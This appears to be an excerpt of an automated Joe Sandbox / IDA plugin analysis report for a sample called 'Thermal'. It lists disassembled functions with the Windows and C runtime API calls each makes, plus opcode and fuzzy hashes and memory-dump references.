Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: __itow__swprintf_strcat_wcscpy
String ID:
API String ID: 1012013722-0
Opcode ID: c4242f8c0116a65a187b4a15c73e390c3b296cbdcc7a8c5ba3417b4ac82b31b6
Instruction ID: bb4796595e51d8022c6fe24092480439fde402763bdcf9106f99a5042148a1ca
Opcode Fuzzy Hash: c4242f8c0116a65a187b4a15c73e390c3b296cbdcc7a8c5ba3417b4ac82b31b6
Instruction Fuzzy Hash: 49911735A00614DFCB18DF28D5819ADBBE5FF59310B95805AF81A8F366EB30EE51CB81

Function 00140E38 Relevance: 3.1, APIs: 2, Instructions: 94processCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00140ED5
CreateProcessW.KERNEL32 ref: 00140EE7

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID:
API String ID: 3712363035-0
Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction ID: aff9baa43f35d3d7b9f333017e6d9b09ba6e5267e6993e042b880f6c392b9c72
Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction Fuzzy Hash: DE31E671A00109DFC71ADF5AC480969F7A6FF89310B658AA5E509EF262E731EDD1CBC0

Function 00135F8B Relevance: 3.1, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

IsThemeActive.UXTHEME ref: 00135FEF

Part of subcall function 0014359C: __lock.LIBCMT ref: 001435A2
Part of subcall function 0014359C: DecodePointer.KERNEL32(00000001,?,00136004,00178892), ref: 001435AE
Part of subcall function 0014359C: EncodePointer.KERNEL32(?,?,00136004,00178892), ref: 001435B9

Part of subcall function 00135F00: SystemParametersInfoW.USER32(00002000,00000000,?,00000000), ref: 00135F18
Part of subcall function 00135F00: SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 00135F2D

Part of subcall function 00135240: GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 0013526C
Part of subcall function 00135240: IsDebuggerPresent.KERNEL32 ref: 0013527E
Part of subcall function 00135240: GetFullPathNameW.KERNEL32(00007FFF,?,?), ref: 001352E6
Part of subcall function 00135240: SetCurrentDirectoryW.KERNEL32(?), ref: 00135366

SystemParametersInfoW.USER32(00002001,00000000,?,00000002), ref: 0013602F

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: InfoParametersSystem$CurrentDirectoryPointer$ActiveDebuggerDecodeEncodeFullNamePathPresentTheme__lock
String ID:
API String ID: 1438897964-0
Opcode ID: ed72f5232d3b3f3bcc16975463d056df4b477888f0ca69847ffb8fe0d95731f4
Instruction ID: 57912bd3a46b5751b09d4e1da001032fac7777e40bf7408d93c3965ef7c345fd
Opcode Fuzzy Hash: ed72f5232d3b3f3bcc16975463d056df4b477888f0ca69847ffb8fe0d95731f4
Instruction Fuzzy Hash: 58118C718083469BD310DFA8EC8590EFBE8EFA8710F00851AF5949B2B1DB709584CF96

Function 001342F9 Relevance: 3.1, APIs: 2, Instructions: 57fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000007,00000000,00000003,00000080,00000000,00000000,?,?,00133E72,?,?,?,00000000), ref: 00134327
CreateFileW.KERNEL32(?,C0000000,00000007,00000000,00000004,00000080,00000000,00000000,?,?,00133E72,?,?,?,00000000), ref: 00170717

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 6bef6978adaa3a9c208d460899d93d216d7e6ce286b907c4b71abb8d3803dfa4
Instruction ID: a7cb8c3b91a1cb7bf4ed5bac95be84b2bf42b8c79319f02176b96432b64eb196
Opcode Fuzzy Hash: 6bef6978adaa3a9c208d460899d93d216d7e6ce286b907c4b71abb8d3803dfa4
Instruction Fuzzy Hash: C5014070244319BFF3251E28CC8AF667A9CFB15768F50C319FAE56A1E0C7B5AC858B14

Function 00140FE6 Relevance: 3.0, APIs: 2, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0014593C: __FF_MSGBANNER.LIBCMT ref: 00145953
Part of subcall function 0014593C: __NMSG_WRITE.LIBCMT ref: 0014595A
Part of subcall function 0014593C: RtlAllocateHeap.NTDLL(010D0000,00000000,00000001,?,00000004,?,?,00141003,?), ref: 0014597F

std::exception::exception.LIBCMT ref: 0014101C
__CxxThrowException@8.LIBCMT ref: 00141031

Part of subcall function 001487CB: RaiseException.KERNEL32(?,?,?,001DCAF8,?,?,?,?,?,00141036,?,001DCAF8,?,00000001), ref: 00148820

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrowstd::exception::exception
String ID:
API String ID: 3902256705-0
Opcode ID: bcdba8aed9a2d5ece02b63fee4772d8912814fab82df5dd00e74bcccf536df49
Instruction ID: 8045099b5190192dd9be48774c5d3d630a04aaf7d0af9626bf98adaf6f332022
Opcode Fuzzy Hash: bcdba8aed9a2d5ece02b63fee4772d8912814fab82df5dd00e74bcccf536df49
Instruction Fuzzy Hash: 34F0283550420DB3CB20FA98ED159DE7BAC9F11310F100426F924A72B1DFB08B91D2E0

Function 0014581D Relevance: 3.0, APIs: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0014584C
__lock_file.LIBCMT ref: 0014586D

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: __lock_file_memset
String ID:
API String ID: 26237723-0
Opcode ID: e32d6c4ecad2fc618474cc201a8db896b25acebf67eddfeb03a43732d2ad78ab
Instruction ID: d2fed6b3dca1fd9deb0c8c6ba687eed5e8d611c732bfef6870352f0c942f8aa9
Opcode Fuzzy Hash: e32d6c4ecad2fc618474cc201a8db896b25acebf67eddfeb03a43732d2ad78ab
Instruction Fuzzy Hash: 44016C71C00749EBCF11AF66CC0199F7B62AF50760F144115F828571B2DB318A51DF91

Function 001455C6 Relevance: 3.0, APIs: 2, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00148D58: __getptd_noexit.LIBCMT ref: 00148D58

__lock_file.LIBCMT ref: 0014560B

Part of subcall function 00146E3E: __lock.LIBCMT ref: 00146E61

__fclose_nolock.LIBCMT ref: 00145616

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: __fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 2800547568-0
Opcode ID: 4f952236db8a2a8b9b436b3b6b7e3465c4cb59dad5b5b7988ba4a70ccc5a1454
Instruction ID: 2110ca561ecf81110b829f1148ae06da85fee692837d3ebe7cb4a2e70f8ba09a
Opcode Fuzzy Hash: 4f952236db8a2a8b9b436b3b6b7e3465c4cb59dad5b5b7988ba4a70ccc5a1454
Instruction Fuzzy Hash: AAF09072802B059BD720BB65880276E67E26F61335F168209A424AB1E2CB7C49419B51

Function 00145E80 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

__lock_file.LIBCMT ref: 00145EB4
__ftell_nolock.LIBCMT ref: 00145EBF

Part of subcall function 00148D58: __getptd_noexit.LIBCMT ref: 00148D58

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: __ftell_nolock__getptd_noexit__lock_file
String ID:
API String ID: 2999321469-0
Opcode ID: 7ab8d740dc316ed078a8e090cca85817545d5529302611fa6b7cdb48c76f6d43
Instruction ID: 4a66b0393e4bd580ceee27d8601b1b3c8bca650872ed356d108cfc7fe4e5e950
Opcode Fuzzy Hash: 7ab8d740dc316ed078a8e090cca85817545d5529302611fa6b7cdb48c76f6d43
Instruction Fuzzy Hash: 94F0E532911A169BDB10FB78880376EB2A16F21331F214706B420BB1F3CF788E429B91

Function 00135AC3 Relevance: 3.0, APIs: 2, Instructions: 25windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00135AEF
Shell_NotifyIconW.SHELL32(00000002,?), ref: 00135B1F

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: IconNotifyShell__memset
String ID:
API String ID: 928536360-0
Opcode ID: 0bab02f57ebb4527a456bf68b924efc9a1bc8843c686f9a916c9e6e5b0bddf3b
Instruction ID: 4b60b8c90edd8dda9a983b493df45b9e66c7f60538ba42d3edf8071e1bcc3e46
Opcode Fuzzy Hash: 0bab02f57ebb4527a456bf68b924efc9a1bc8843c686f9a916c9e6e5b0bddf3b
Instruction Fuzzy Hash: 85F0A7708083589FE7929B64DC8579AB7BC9700308F0002E9BB489A296D7710BC8CF51

Function 0019C355 Relevance: 1.8, APIs: 1, Instructions: 288COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: LoadString$__swprintf
String ID:
API String ID: 207118244-0
Opcode ID: e98f7143c1ec0fc1e456fa9136945b6f5be0d6a1c2adfe682324e0516b63a64b
Instruction ID: eb3788bbd96c739b79d4492cd505a12584c36dc7fc9345e70c78afd17887ebae
Opcode Fuzzy Hash: e98f7143c1ec0fc1e456fa9136945b6f5be0d6a1c2adfe682324e0516b63a64b
Instruction Fuzzy Hash: 37B13A75A0010AAFCF14EF94D891DEEB7B5FF58710F10811AF915AB291EB70AA51CF90

Function 0012A820 Relevance: 1.7, APIs: 1, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0e5af78225d6d3d36f6d680479f726b6aede2d0f2297c8db7b636f6276ddc96
Instruction ID: 6502c1c085121dc3ac960dac59421800503878cfbe11e60bf76e1deea199bac2
Opcode Fuzzy Hash: e0e5af78225d6d3d36f6d680479f726b6aede2d0f2297c8db7b636f6276ddc96
Instruction Fuzzy Hash: 9961FE70600616DFDB14DF50E881A7AB7F5FF04304F96806DE9168B291E774EDA0CB92

Function 0012D679 Relevance: 1.7, APIs: 1, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5c4a7c15f76e4bedde7807a1fd563a80cfbbd844bef377cb21bdbe84098c4ec
Instruction ID: f825506ec90a2231bebc8184798ddf4cf76105f5d632b3bd2da480d28313b75e
Opcode Fuzzy Hash: a5c4a7c15f76e4bedde7807a1fd563a80cfbbd844bef377cb21bdbe84098c4ec
Instruction Fuzzy Hash: 6451B135700614AFCF18EB68DD91E6E77B6AF55310F158068F81AAB392CB30EE15CB94

Function 0013343F Relevance: 1.6, APIs: 1, Instructions: 103COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0013351A

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: c9f64c45f400e17b5458663199bf4a27315daf1ddd9ff02163ddc624897d631a
Instruction ID: 279a32c0085eb0d8f621e6e5f575394354c9e88a11eec21398605d4fc56d689e
Opcode Fuzzy Hash: c9f64c45f400e17b5458663199bf4a27315daf1ddd9ff02163ddc624897d631a
Instruction Fuzzy Hash: 37319275604602DFD729DF19D490A25F7A0FF08320F15C569E9AACB7A1D730ED81CB98

Function 0013410A Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(00000000,?,00000001,00000000,00000000,00000000,00000000,00000000), ref: 001341B2

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 5a674e13cad47ff5ab3a804d0a478114dd1ff0717eb4625b3a91f729370f51f6
Instruction ID: 690cc7852bf9f8a6fd7bd3b9a3747daad945d8831e736fe8c6c0d46f9b4b76ec
Opcode Fuzzy Hash: 5a674e13cad47ff5ab3a804d0a478114dd1ff0717eb4625b3a91f729370f51f6
Instruction Fuzzy Hash: 49314C71A00A1AAFDB18CF6CC8806ADB7B5FF58310F158629E81993714D770BDA08B90

Function 0015E2DF Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 0015E2EA

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 4a42b7de2f0273ecf57fa260631bccf55f118fd889d5dab495b2dba732fdf130
Instruction ID: ad795f4cbec2b1db16ad2dd4a35db390b15ade36486ea921c517d0688b20e420
Opcode Fuzzy Hash: 4a42b7de2f0273ecf57fa260631bccf55f118fd889d5dab495b2dba732fdf130
Instruction Fuzzy Hash: E2411A74508351DFDB14DF14D484B1ABBE1BF55308F1988ACE8999B3A2C371EC99CB52

Function 001349C2 Relevance: 1.6, APIs: 1, Instructions: 64libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00134B29: FreeLibrary.KERNEL32(00000000,?), ref: 00134B63

Part of subcall function 0014547B: __wfsopen.LIBCMT ref: 00145486

LoadLibraryExW.KERNEL32(?,00000000,00000002,?,?,001327AF,?,00000001), ref: 001349F4

Part of subcall function 00134ADE: FreeLibrary.KERNEL32(00000000), ref: 00134B18

Part of subcall function 001348B0: _memmove.LIBCMT ref: 001348FA

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Library$Free$Load__wfsopen_memmove
String ID:
API String ID: 1396898556-0
Opcode ID: 49ae912aea4baee184ffebbaf866167bbfa5683b20e50be1f2bbe925c2fe36dc
Instruction ID: 750cdf709ea894d5a56a1771b59befe2537e7a33fa9c23a20a714fb3224d4aa8
Opcode Fuzzy Hash: 49ae912aea4baee184ffebbaf866167bbfa5683b20e50be1f2bbe925c2fe36dc
Instruction Fuzzy Hash: CC110632650315ABCF15FB70CC16FAE77A99F54701F10842DF586A7191EF70AE10AB94

Function 0015E3C2 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 0015E3CE

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 711b6f85e7f5484569a0d4613de12ebd4afad36a536ab074b469a2b380bf78a2
Instruction ID: c647365ccbf9a4e8d8dd2a524730b776903fa353b93531bc5f4055bbd34c06f3
Opcode Fuzzy Hash: 711b6f85e7f5484569a0d4613de12ebd4afad36a536ab074b469a2b380bf78a2
Instruction Fuzzy Hash: 9E21F474908351DFDB18DF14D444B1ABBE1BF88304F05896CF89A5B762D731E869CB92

Function 00134220 Relevance: 1.6, APIs: 1, Instructions: 53fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(00000000,?,00010000,00000000,00000000,00000000,00000000,00010000,?,00133CF8,00000000,00010000,00000000,00000000,00000000,00000000), ref: 00134276

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: f956f0eaa03dd3d4771d5b8f7ac6663f85d46849f563e4795639f51e90160ba3
Instruction ID: 74a4008b9f9e1f9bdad7de1e67ec34e1e35612acab9ca761fcd05e8896656fad
Opcode Fuzzy Hash: f956f0eaa03dd3d4771d5b8f7ac6663f85d46849f563e4795639f51e90160ba3
Instruction Fuzzy Hash: 9C113A31200B019FD320CF55E480B63B7F5EF88750F10C92DE8AA96A50D7B0F845CB60

Function 00131A36 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00131A77

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 602e865249ec947d912e947e17fccc617bf4509f125e4f05857fa8c8b0e3221e
Instruction ID: 03c47d67e62f92386219e81dc9f2de3f04dba4f5a79bc41459bfa2b83724eb14
Opcode Fuzzy Hash: 602e865249ec947d912e947e17fccc617bf4509f125e4f05857fa8c8b0e3221e
Instruction Fuzzy Hash: 1301D6722017057ED3255B39D802B67BB98DB447A0F10852AF61ACB1E1EB31E44087A0

Function 0019495B Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetEnvironmentVariableW.KERNEL32(?,?,00007FFF,00000000), ref: 00194998

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: EnvironmentVariable
String ID:
API String ID: 1431749950-0
